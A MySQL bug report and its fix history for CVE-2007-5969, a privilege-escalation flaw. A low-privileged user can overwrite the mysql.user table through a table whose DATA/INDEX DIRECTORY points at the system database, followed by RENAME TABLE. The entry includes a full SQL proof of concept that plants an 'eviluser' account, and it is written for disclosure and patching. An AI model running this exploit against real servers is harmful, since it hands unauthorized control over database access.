Description:
privileges in test-db is enough to change all MyISAM tables on the server, including the privileges tables and more.
It is done by creating a table with DATA DIRECTORY/INDEX DIRECTORY pointing to the target database, then renaming the table into the target table. (see how to repeat)
Found this when looking into Bug#32091, the same can be done without partitioning, only using MyISAM
Found in 5.1 but exists probably from 4.0 and up.
How to repeat:
-- disable_warnings
drop table if exists t1;
-- enable_warnings
grant usage on test.* to eviluser@localhost;
use mysql;
select host from mysql.user;
show create table user;
connect(con1,localhost,eviluser,,);
connection con1;
use test;
CREATE TABLE `userevil` (
`Host` char(60) COLLATE utf8_bin NOT NULL DEFAULT '',
`User` char(16) COLLATE utf8_bin NOT NULL DEFAULT '',
`Password` char(41) CHARACTER SET latin1 COLLATE latin1_bin NOT NULL DEFAULT '',
`Select_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Insert_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Update_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Delete_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Create_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Drop_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Reload_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Shutdown_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Process_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`File_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Grant_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`References_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Index_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Alter_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Show_db_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Super_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Create_tmp_table_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Lock_tables_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Execute_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Repl_slave_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Repl_client_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Create_view_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Show_view_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Create_routine_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Alter_routine_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Create_user_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Event_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`Trigger_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
`ssl_type` enum('','ANY','X509','SPECIFIED') CHARACTER SET utf8 NOT NULL DEFAULT '',
`ssl_cipher` blob NOT NULL,
`x509_issuer` blob NOT NULL,
`x509_subject` blob NOT NULL,
`max_questions` int(11) unsigned NOT NULL DEFAULT '0',
`max_updates` int(11) unsigned NOT NULL DEFAULT '0',
`max_connections` int(11) unsigned NOT NULL DEFAULT '0',
`max_user_connections` int(11) unsigned NOT NULL DEFAULT '0',
PRIMARY KEY (`Host`,`User`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT='Users and global privileges',
DATA DIRECTORY '/usr/local/mysql/var/master-data/mysql',
INDEX DIRECTORY '/usr/local/mysql/var/master-data/mysql';
insert into userevil (host,user) values ('evilhost','eviluser');
rename table userevil to user;
connection default;
flush tables;
flush privileges;
select host from mysql.user;
Suggested fix:
Do not allow rename to existing files.

[5 Nov 2007 14:15]
Domas Mituzas

Reproduced that on 4.0, 4.1, 5.0

[5 Nov 2007 14:21]
Domas Mituzas

Workaround: --skip-symbolic-links

[6 Nov 2007 15:07]
Bugs System

A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:
http://lists.mysql.com/commits/37190
ChangeSet@1.2215, 2007-11-06 18:09:33+04:00, svoj@mysql.com +3 -0
BUG#32111 - Security Breach via DATA/INDEX DIRECORY and RENAME TABLE
RENAME TABLE against a table with DATA/INDEX DIRECTORY overwrites
the file to which the symlink points.
This is security issue, because it is possible to create a table with
some name in some non-system database and set DATA/INDEX DIRECTORY
to mysql system database. Renaming this table to one of mysql system
tables (e.g. user, host) would overwrite the system table.
Return an error when the file to which the symlink points exist.

[12 Nov 2007 13:43]
Bugs System

Pushed into 4.0.31

[14 Nov 2007 9:40]
Bugs System

Pushed into 6.0.4-alpha

[14 Nov 2007 9:45]
Bugs System

Pushed into 5.1.23-rc

[14 Nov 2007 9:49]
Bugs System

Pushed into 5.0.52

[14 Nov 2007 9:56]
Bugs System

Pushed into 4.1.24

[14 Nov 2007 19:35]
Sergei Golubchik

CVE-2007-5969

[15 Nov 2007 7:19]
MC Brown

A note has been added to the 4.0.31, 4.1.24, 5.0.52, 5.1.23, and 6.0.4 changelogs:
Security Fix: Using RENAME TABLE against a table with explicit DATA DIRECTORY and INDEX DIRECTORY options can be used to overwrite system table information by replacing the symbolic link points. the file to which the symlink points.
MySQL will now return an error when the file to which the symlink points already exists.

[15 Nov 2007 9:55]
Bugs System

A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:
http://lists.mysql.com/commits/37835
ChangeSet@1.2539, 2007-11-15 10:55:47+01:00, joerg@mysql.com +3 -0
BUG#32111 - Security Breach via DATA/INDEX DIRECORY and RENAME TABLE
RENAME TABLE against a table with DATA/INDEX DIRECTORY overwrites
the file to which the symlink points.
This is security issue, because it is possible to create a table with
some name in some non-system database and set DATA/INDEX DIRECTORY
to mysql system database. Renaming this table to one of mysql system
tables (e.g. user, host) would overwrite the system table.
Return an error when the file to which the symlink points exist.
(This is a copy of changeset 2007/11/06 18:09:33+04:00 svoj@mysql.com
and its merge changesets on the way from 4.0 up to 5.0)